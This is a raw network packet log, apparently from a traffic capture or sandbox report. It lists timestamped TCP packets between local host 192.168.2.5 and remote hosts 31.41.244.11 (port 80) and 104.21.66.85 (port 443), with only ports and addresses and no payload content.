Dec 18, 2024 21:30:44.133466959 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.133479118 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.133512974 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.134027004 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.134038925 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.134083033 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.134627104 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.134639978 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.134679079 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.135332108 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.135344028 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.135354042 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.135373116 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.135384083 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.136001110 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.136053085 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.136064053 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.136095047 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.136746883 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.136765003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.136814117 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.137397051 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.137408972 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.137450933 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.137460947 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.137988091 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.138000965 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.138034105 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.138046980 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.138689995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.138703108 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.138714075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.138752937 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.138787985 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.139378071 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.139389038 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.139422894 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.139435053 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.140050888 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.140063047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.140100002 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.140813112 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.140825033 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.140850067 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.140877962 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.141438007 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.141449928 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.141462088 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.141484976 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.141510010 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.142127991 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.142141104 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.142179012 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.142843962 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.142857075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.142884970 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.143465042 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.143484116 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.143511057 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.143536091 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.144238949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.144252062 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.144298077 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.144922018 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.144936085 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.144947052 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.144970894 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.144996881 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.145596027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.145608902 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.145654917 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.146235943 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.146248102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.146275043 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.146286011 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.147022963 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.147037029 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.147074938 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.147711039 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.147723913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.147735119 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.147762060 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.147788048 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.148332119 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.148370981 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.282530069 CET	443	49822	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:44.282994032 CET	49823	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:44.283029079 CET	443	49823	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:44.283135891 CET	49823	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:44.283735037 CET	49823	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:44.283751011 CET	443	49823	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:44.308027029 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.308104038 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.308209896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.308223963 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.308264971 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.308589935 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.308602095 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.308638096 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.309216022 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.309227943 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.309262991 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.309858084 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.309870958 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.309916973 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.310312033 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.310324907 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.310369968 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.310906887 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.310919046 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.310956001 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.311512947 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.311532021 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.311556101 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.311568975 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.312235117 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.312247992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.312282085 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.312813997 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.312825918 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.312860966 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.313455105 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.313467979 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.313505888 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.314122915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.314141989 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.314167976 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.314182997 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.314879894 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.314898014 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.314924955 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.314954042 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.315542936 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.315557003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.315567017 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.315589905 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.315627098 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.316203117 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.316215992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.316250086 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.316917896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.316931009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.316966057 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.317550898 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.317569017 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.317593098 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.317604065 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.318253040 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.318273067 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.318284035 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.318296909 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.318320036 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.318969965 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.318983078 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.319016933 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.319638014 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.319652081 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.319684982 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.320334911 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.320348024 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.320394039 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.320987940 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.321007013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.321032047 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.321044922 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.321718931 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.321732044 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.321743965 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.321768045 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.321798086 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.322385073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.322410107 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.322431087 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.322458029 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.323111057 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.323128939 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.323154926 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.323168993 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.323785067 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.323798895 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.323836088 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.323848963 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.324466944 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.324481010 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.324491024 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.324513912 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.324537992 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.325175047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.325187922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.325211048 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.325222015 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.325834036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.325848103 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.325881958 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.326535940 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.326550007 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.326579094 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.326589108 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.327209949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.327224016 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.327258110 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.327867985 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.327887058 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.327898979 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.327915907 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.327929974 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.328579903 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.328593969 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.328639984 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.329267025 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.329279900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.329319954 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.329965115 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.329977989 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.330012083 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.330024958 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.330617905 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.330636978 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.330661058 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.330676079 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.331357002 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.331370115 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.331381083 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.331412077 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.331433058 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.331995010 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.332014084 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.332036018 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.332050085 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.332711935 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.332730055 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.332760096 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.332771063 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.333394051 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.333406925 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.333444118 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.334136009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.334155083 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.334167004 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.334177017 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.334208012 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.334815979 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.334827900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.334860086 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.335458040 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.335470915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.335505009 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.336155891 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.336169004 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.336205006 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.336827040 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.336839914 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.336875916 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.337497950 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.337518930 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.337531090 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.337562084 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.337589979 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.338188887 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.338202000 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.338243961 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.338898897 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.338912010 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.338948011 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.339621067 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.339633942 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.339667082 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.340286016 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.340297937 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.340308905 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.340331078 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.340359926 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.500346899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.500405073 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.500407934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.500422001 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.500459909 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.500988007 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.501039028 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.501337051 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.501348972 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.501398087 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.501990080 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.502038002 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.502156973 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.502176046 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.502223015 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.502814054 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.502826929 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.502866030 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.503361940 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.503376961 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.503408909 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.503422022 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.503984928 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.504002094 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.504030943 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.504055023 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.504628897 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.504642010 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.504682064 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.505289078 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.505302906 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.505350113 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.505994081 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.506012917 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.506042004 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.506052971 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.506664991 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.506678104 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.506721973 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.507376909 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.507390022 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.507400036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.507422924 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.507461071 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.508038998 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.508053064 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.508089066 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.508723974 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.508737087 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.508776903 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.509426117 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.509438992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.509470940 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.509496927 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.510081053 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.510101080 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.510113955 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.510128975 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.510140896 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.510164022 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.510790110 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.510803938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.510848999 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.511531115 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.511543989 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.511595011 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:44.512342930 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:44.512356043 CET	80	49819	31.41.244.11	192.168.2.5
